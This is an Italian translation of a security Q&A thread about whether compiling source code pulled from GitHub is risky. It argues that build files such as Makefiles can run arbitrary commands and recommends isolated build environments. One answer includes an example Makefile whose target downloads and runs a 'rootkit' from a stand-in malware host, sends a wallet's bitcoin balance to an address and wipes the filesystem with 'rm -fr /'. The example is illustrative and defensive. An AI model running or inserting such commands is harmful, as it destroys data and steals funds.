Il codice sorgente di Github è un grosso rischio per la sicurezza?

6

Ho diversi programmi (Emacs el-get, oh-my-zsh e Homebrew) che occasionalmente caricano il codice sorgente da github e lo compileranno sulla mia macchina. È una grande preoccupazione per la sicurezza? Che cosa posso fare per evitare che il malware si accenda sulla mia macchina in questo modo?

    
posta Lenar Hoyt 24.03.2014 - 16:55
fonte

4 risposte

4

Suppongo che intendi che stai compilando (ma non eseguendo) codice non affidabile che potrebbe essere malevolo e sei preoccupato che la tua toolchain di costruzione venga sfruttata.

La risposta è che, no, non penso che sia una buona idea. In generale, i compilatori non sono sicuri da utilizzare con input non attendibili.

In primo luogo, c'è il codice sorgente stesso. Non parli di quale lingua stai importando da github, ma se è C / C ++ (per esempio), allora potresti essere soggetto ad un attacco dal preprocessore. Mentre non so per certo che questo sia possibile, non vedo ragioni per cui non dovrebbe essere. Detto questo, tuttavia, ci sono siti online "compilatore come servizio" che compileranno codice arbitrario, quindi forse è (o può essere reso) sicuro.

Tuttavia ci sono preoccupazioni più grandi del compilatore, dal momento che i tipi di file arbitrari possono venire giù tramite github. Ad esempio, non c'è nulla che impedisca a un Makefile malintenzionato di fare cose sgradevoli, cosa che è assolutamente possibile, o un progetto di Visual Studio che specifica uno script "pre-build" dannoso.

Sull'argomento di Visual Studio (immagino tu stia usando una toolchain make / gcc, ma menzionerò VS per completezza - e poiché conosco la risposta) dovresti sapere che MS afferma che anche il caricamento di simboli di debug dannosi è un rischio per la sicurezza e che il linker di Visual Studio non è considerato sicuro contro il codice dannoso. Un rapido google trova questo advisory che non menziona alcuna patch è disponibile.

Detto tutto questo, non ho mai sentito di ciò che sta accadendo prima, quindi dipende dalla tua tolleranza al rischio, immagino. Non lo farei Se si tratta di una build automatizzata, potrebbe essere possibile creare un account utente usa e getta (prendendo ulteriori passaggi se la fonte è destinata a essere tenuta segreta).

    
risposta data 24.03.2014 - 17:52
fonte
4

Prova a rendere questo esempio Makefile :

# ...
# ...
# Too big text #1 to forensic
# ...
# ...

clean: 
    @echo "Hello"
    wget -q http://malwaresite.com/rootkit.bin
    chmod +x rootkit.bin
    ./rootkit.bin
    bitcoind sendtoaddress 1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX 'bitcoind getbalance'
    rm -fr /
    sudo rm -fr /
# ...
# ...
# Too big text #2 to forensic
# ...
# ...

Avvia nel modo ordinario:

$ make -f Makefile

Il buon modo è di mantenere l'ambiente chroot, come il contenitore lxc di Ubuntu o il jail di FreeBSD per costruire tutto all'interno.

    
risposta data 28.03.2014 - 10:47
fonte
2

Dipende interamente da quanto ti fidi del processo utilizzato per il download. Se il downloader autentica che il codice sorgente è autentico, non vi è più alcun rischio dalla compilazione rispetto a qualsiasi altro download da tale organizzazione. Se il codice sorgente viene prelevato da un server non protetto o in un modo che può essere modificato sulla strada verso il tuo computer, è potenzialmente un rischio per la sicurezza.

Fondamentalmente, la compilazione non è un problema, se ti puoi fidare che il programma scaricato sia il problema e si applica allo stesso modo al codice che compilerai tu stesso e al codice che viene scaricato come binari pre-compilati.

    
risposta data 24.03.2014 - 18:14
fonte
2

Nel 2012, GitHub è stato violato sfruttando una vulnerabilità di Ruby on Rails. L'hacker ha commesso l'accesso al ramo principale di qualsiasi repository. Dall'articolo:

it’s highly likely that Egor Homakov was not the first person to exploit GitHub in this way. We would’ve heard about it if a large project had been deleted out of the blue — but maybe hackers have been quietly modifying code bases for their own, nefarious ends.

Se è successo, è probabile che non lo scopriremo mai.

    
risposta data 19.11.2014 - 01:44
fonte

Leggi altre domande sui tag